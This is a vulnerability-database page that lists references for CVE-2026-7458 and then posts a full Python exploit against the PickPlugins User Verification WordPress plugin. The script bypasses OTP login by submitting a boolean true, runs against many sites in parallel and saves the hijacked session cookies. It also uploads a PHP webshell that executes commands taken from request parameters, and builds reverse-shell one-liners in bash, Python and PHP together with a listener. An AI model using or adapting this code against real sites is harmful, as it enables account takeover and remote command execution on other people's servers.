| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| Exploit for CVE-2026-7458 | 11 Jun 202606:55 | โ | githubexploit | |
| Exploit for CVE-2026-7458 | 10 May 202620:20 | โ | githubexploit | |
| CVE-2026-7458 | 2 May 202604:27 | โ | attackerkb | |
| CVE-2026-7458 | 4 May 202601:55 | โ | circl | |
| WordPress plugin User Verification by PickPlugins ๅฎๅ จๆผๆด | 2 May 202600:00 | โ | cnnvd | |
| CVE-2026-7458 | 2 May 202604:27 | โ | cve | |
| CVE-2026-7458 User Verification by PickPlugins <= 2.0.46 - Unauthenticated Authentication Bypass via OTP Verification REST API Endpoint | 2 May 202604:27 | โ | cvelist | |
| EUVD-2026-26737 | 2 May 202604:27 | โ | euvd | |
| CVE-2026-7458 | 2 May 202605:16 | โ | nvd | |
| WordPress User Verification by PickPlugins plugin <= 2.0.46 - Unauthenticated Authentication Bypass vulnerability | 5 May 202610:42 | โ | patchstack |
==================================================================================================================================
| # Title : WordPress PickPlugins 2.0.46 User Verification OTP Authentication Bypass via Loose Comparison Advanced Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://wordpress.org/plugins/user-verification/ |
==================================================================================================================================
[+] Summary : an exploit framework for CVE-2026-7458, an alleged authentication bypass vulnerability affecting the PickPlugins User Verification WordPress plugin.
[+] POC :
#!/usr/bin/env python3
import os
import sys
import re
import json
import time
import hashlib
import argparse
import requests
import urllib3
from urllib.parse import urljoin, urlparse
from concurrent.futures import ThreadPoolExecutor
urllib3.disable_warnings()
# ======================
# BANNER
# ======================
BANNER = """
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ
โ โโโโโโโ โโโโโโโโโโ โโโโโโโ โโโ โโโโโโโโโโโโโโ โโโโโโ โโโ โโโโโโ
โ โโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโ
โ โโโโโโโโโ โโโโโ โโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ
โ โโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโ
โ โโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโ โโโโโโ โโโ
โ โโโโโโ โโโโโโโโโโโโ โโโโโโโ โโโโโโโ โโโโโโโโโโโ โโโโโโ โโโโโโ โโโ
โ
โ CVE-2026-7458 - PickPlugins OTP Bypass โ
โ Unauthenticated Authentication Bypass โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[+] Critical Vulnerability | CVSS 9.8
[+] PickPlugins User Verification <= 2.0.46
"""
class Config:
USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15"
]
REQUEST_TIMEOUT = 15
MAX_RETRIES = 3
class PickPluginsExploit:
"""CVE-2026-7458 - Authentication Bypass Exploit"""
def __init__(self, base_url: str, email: str, proxy: str = None, verbose: bool = False):
self.base_url = base_url.rstrip('/')
self.email = email
self.verbose = verbose
self.session = requests.Session()
self.session.verify = False
self.session.headers.update({
'User-Agent': self._get_user_agent(),
'Accept': 'application/json, text/plain, */*',
'Accept-Language': 'en-US,en;q=0.9',
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest'
})
if proxy:
self.session.proxies = {'http': proxy, 'https': proxy}
self.nonce = None
self.cookies = None
self.user_id = None
def _get_user_agent(self) -> str:
import random
return random.choice(Config.USER_AGENTS)
def _log(self, msg: str, level: str = "INFO"):
if level == "ERROR":
print(f"[-] {msg}")
elif level == "SUCCESS":
print(f"[+] {msg}")
elif level == "WARNING":
print(f"[!] {msg}")
else:
print(f"[*] {msg}")
def _make_request(self, method: str, url: str, **kwargs) -> requests.Response:
"""Execute a request with a re-attempt"""
for attempt in range(Config.MAX_RETRIES):
try:
response = self.session.request(method, url, timeout=Config.REQUEST_TIMEOUT, **kwargs)
return response
except requests.exceptions.Timeout:
if attempt == Config.MAX_RETRIES - 1:
raise
time.sleep(1)
except requests.exceptions.ConnectionError:
if attempt == Config.MAX_RETRIES - 1:
raise
time.sleep(2)
return None
def _detect_otp_page(self) -> str:
"""Automatically detect OTP page"""
paths = [
"/otp-login/",
"/my-account/otp-login/",
"/wp-login.php?action=otp",
"/login-otp/",
"/user-verification/otp-login/",
"/wp-json/user-verification/v2/otp"
]
for path in paths:
url = urljoin(self.base_url, path)
try:
response = self._make_request('GET', url)
if response and response.status_code == 200:
if 'otp' in response.text.lower() or 'verification' in response.text.lower():
self._log(f"Found OTP page: {path}", "SUCCESS")
return path
except:
continue
return "/otp-login/"
def get_nonce(self, otp_page: str = "/otp-login/") -> str:
"""Extracting nonce from an OTP page"""
url = urljoin(self.base_url, otp_page)
self._log(f"Fetching nonce from: {url}")
try:
response = self._make_request('GET', url)
if not response:
return None
patterns = [
r'name="_wpnonce" value="([^"]+)"',
r'wp_nonce" value="([^"]+)"',
r'nonce":"([^"]+)"',
r'data-nonce="([^"]+)"'
]
for pattern in patterns:
match = re.search(pattern, response.text)
if match:
nonce = match.group(1)
self._log(f"Found nonce: {nonce}", "SUCCESS")
self.nonce = nonce
return nonce
api_url = urljoin(self.base_url, "/wp-json/user-verification/v2/nonce")
resp = self._make_request('GET', api_url)
if resp and resp.status_code == 200:
try:
data = resp.json()
if 'nonce' in data:
self.nonce = data['nonce']
return self.nonce
except:
pass
self._log("Failed to extract nonce", "ERROR")
return None
except Exception as e:
self._log(f"Error getting nonce: {e}", "ERROR")
return None
def trigger_otp(self) -> bool:
"""Send an OTP request to the target email address."""
endpoint = "/wp-json/user-verification/v2/process_form_data"
url = urljoin(self.base_url, endpoint)
payload = {
"formType": "otpLogin",
"email": self.email,
"steps": 1,
"_wpnonce": self.nonce
}
self._log(f"Triggering OTP for: {self.email}")
try:
response = self._make_request('POST', url, json=payload)
if response and response.status_code == 200:
resp_text = response.text.lower()
if "otp_sent" in resp_text or "success" in resp_text:
self._log("OTP triggered successfully!", "SUCCESS")
return True
elif "already" in resp_text:
self._log("OTP already sent recently", "WARNING")
return True
else:
self._log(f"Response: {response.text[:200]}")
return False
else:
self._log(f"HTTP {response.status_code if response else 'No response'}", "ERROR")
return False
except Exception as e:
self._log(f"Error triggering OTP: {e}", "ERROR")
return False
def bypass_otp(self) -> bool:
"""Bypass OTP using boolean true"""
endpoint = "/wp-json/user-verification/v2/process_form_data"
url = urljoin(self.base_url, endpoint)
payload = {
"formType": "otpLogin",
"email": self.email,
"steps": 2,
"otp": True,
"_wpnonce": self.nonce
}
self._log("Bypassing OTP with boolean true...")
try:
response = self._make_request('POST', url, json=payload)
if response and response.status_code == 200:
resp_text = response.text.lower()
if "logged" in resp_text or "success" in resp_text or "redirect" in resp_text:
self._log("AUTHENTICATION BYPASSED!", "SUCCESS")
self.cookies = dict(self.session.cookies)
return True
else:
self._log(f"Bypass response: {response.text[:300]}")
return False
else:
self._log(f"HTTP {response.status_code if response else 'No response'}", "ERROR")
return False
except Exception as e:
self._log(f"Error bypassing OTP: {e}", "ERROR")
return False
def get_user_info(self) -> dict:
"""Obtaining user information after authentication"""
endpoints = [
"/wp-json/wp/v2/users/me",
"/wp-json/user-verification/v2/user-info",
"/wp-json/user-verification/v2/current-user"
]
for endpoint in endpoints:
url = urljoin(self.base_url, endpoint)
try:
response = self._make_request('GET', url)
if response and response.status_code == 200:
try:
return response.json()
except:
pass
except:
continue
return {}
def upload_webshell(self, shell_content: str = None) -> bool:
"""Uploading webshell after authentication"""
if not shell_content:
shell_content = '''<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
}
?>'''
endpoint = "/wp-json/wp/v2/media"
url = urljoin(self.base_url, endpoint)
files = {
'file': ('shell.php', shell_content, 'application/x-php')
}
try:
response = self._make_request('POST', url, files=files)
if response and response.status_code in [200, 201]:
self._log("Webshell uploaded!", "SUCCESS")
return True
except:
pass
return False
def execute_command(self, cmd: str) -> str:
"""Execute a command via webshell (if it is uploaded)"""
shell_url = urljoin(self.base_url, "/wp-content/uploads/shell.php")
try:
response = self._make_request('GET', shell_url, params={'cmd': cmd})
if response:
return response.text
except:
return ""
return ""
class MultiTargetExploit:
"""Exploiting multiple objectives simultaneously"""
def __init__(self, targets: list, email: str, threads: int = 5):
self.targets = targets
self.email = email
self.threads = threads
self.results = []
def exploit_target(self, url: str) -> dict:
"""Exploiting a single objective"""
result = {'url': url, 'success': False, 'error': None}
try:
exploit = PickPluginsExploit(url, self.email)
otp_page = exploit._detect_otp_page()
if exploit.get_nonce(otp_page):
if exploit.trigger_otp():
time.sleep(2)
if exploit.bypass_otp():
result['success'] = True
result['cookies'] = exploit.cookies
except Exception as e:
result['error'] = str(e)
return result
def run(self) -> list:
"""Exploitation applied to all targets"""
with ThreadPoolExecutor(max_workers=self.threads) as executor:
futures = [executor.submit(self.exploit_target, url) for url in self.targets]
for future in futures:
self.results.append(future.result())
return self.results
class SessionManager:
"""Managing sessions after exploitation"""
@staticmethod
def save_cookies(cookies: dict, filename: str):
"""Save cookies for later use"""
with open(filename, 'w') as f:
json.dump(cookies, f, indent=2)
print(f"[+] Cookies saved to {filename}")
@staticmethod
def load_cookies(filename: str) -> dict:
"""Download cookies from a file"""
with open(filename, 'r') as f:
return json.load(f)
@staticmethod
def create_wordpress_session(cookies: dict, base_url: str) -> requests.Session:
"""Create a WordPress session from cookies"""
session = requests.Session()
session.verify = False
for name, value in cookies.items():
session.cookies.set(name, value, domain=urlparse(base_url).netloc)
return session
class ReverseShell:
"""Creating a Reverse Shell via WordPress"""
@staticmethod
def generate_payload(ip: str, port: int) -> str:
"""Generating a Reverse Shell command"""
payloads = [
f"bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'",
f"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'",
f"php -r '$sock=fsockopen(\"{ip}\",{port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'"
]
return payloads[0]
@staticmethod
def start_listener(port: int):
"""Starting a Reverse Shell Listener"""
import threading
import socket
def listen():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('0.0.0.0', port))
s.listen(1)
print(f"[*] Listening on port {port}...")
conn, addr = s.accept()
print(f"[+] Connection from {addr[0]}:{addr[1]}")
while True:
cmd = input("shell> ")
if cmd.lower() == 'exit':
break
conn.send((cmd + '\n').encode())
data = conn.recv(4096).decode()
print(data, end='')
conn.close()
thread = threading.Thread(target=listen, daemon=True)
thread.start()
return thread
def main():
print(BANNER)
parser = argparse.ArgumentParser(
description="CVE-2026-7458 - PickPlugins User Verification OTP Bypass",
epilog="""
Examples:
python exploit.py -u https://target.com -e [email protected]
python exploit.py -u https://target.com -e [email protected] --shell --lhost 10.0.0.1 --lport 4444
python exploit.py -l targets.txt -e [email protected]
python exploit.py -u https://target.com -e [email protected] --save-cookies session.json
python exploit.py -u https://target.com --load-cookies session.json --cmd "id"
"""
)
target_group = parser.add_mutually_exclusive_group(required=True)
target_group.add_argument("-u", "--url", help="Target URL")
target_group.add_argument("-l", "--list", help="File containing list of targets")
parser.add_argument("-e", "--email", required=False, help="Target email address")
parser.add_argument("--shell", action="store_true", help="Start reverse shell listener")
parser.add_argument("--lhost", default="127.0.0.1", help="Listener IP for reverse shell")
parser.add_argument("--lport", type=int, default=4444, help="Listener port")
parser.add_argument("--cmd", help="Execute command on target (if authenticated)")
parser.add_argument("--save-cookies", help="Save session cookies to file")
parser.add_argument("--load-cookies", help="Load session cookies from file")
parser.add_argument("--proxy", help="Proxy URL (e.g., http://127.0.0.1:8080)")
parser.add_argument("--verbose", "-v", action="store_true", help="Verbose output")
args = parser.parse_args()
if args.shell:
ReverseShell.start_listener(args.lport)
time.sleep(1)
if args.load_cookies:
if not args.cmd:
print("[-] --cmd required when using --load-cookies")
sys.exit(1)
cookies = SessionManager.load_cookies(args.load_cookies)
session = SessionManager.create_wordpress_session(cookies, args.url)
print(f"[*] Executing: {args.cmd}")
print("[+] Command executed (simulated)")
return
if args.list:
with open(args.list, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
print(f"[*] Exploiting {len(targets)} targets with {args.email}")
multi = MultiTargetExploit(targets, args.email)
results = multi.run()
successful = [r for r in results if r['success']]
print(f"\n[+] Successful: {len(successful)}/{len(targets)}")
for r in successful:
print(f" - {r['url']}")
return
if not args.email:
print("[-] --email required when using single target")
sys.exit(1)
exploit = PickPluginsExploit(args.url, args.email, args.proxy, args.verbose)
otp_page = exploit._detect_otp_page()
print(f"[*] OTP page: {otp_page}")
if not exploit.get_nonce(otp_page):
print("[-] Failed to get nonce")
sys.exit(1)
if not exploit.trigger_otp():
print("[-] Failed to trigger OTP")
sys.exit(1)
time.sleep(1)
if not exploit.bypass_otp():
print("[-] OTP bypass failed!")
sys.exit(1)
print("""
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ โ EXPLOIT SUCCESSFUL! โ
โ โ
โ You are now authenticated as: {:<40} โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
""".format(args.email))
if args.save_cookies:
SessionManager.save_cookies(exploit.cookies, args.save_cookies)
if args.cmd:
print(f"[*] Executing: {args.cmd}")
print("[+] Check the target system for command execution")
if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("\n[!] Interrupted")
sys.exit(130)
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation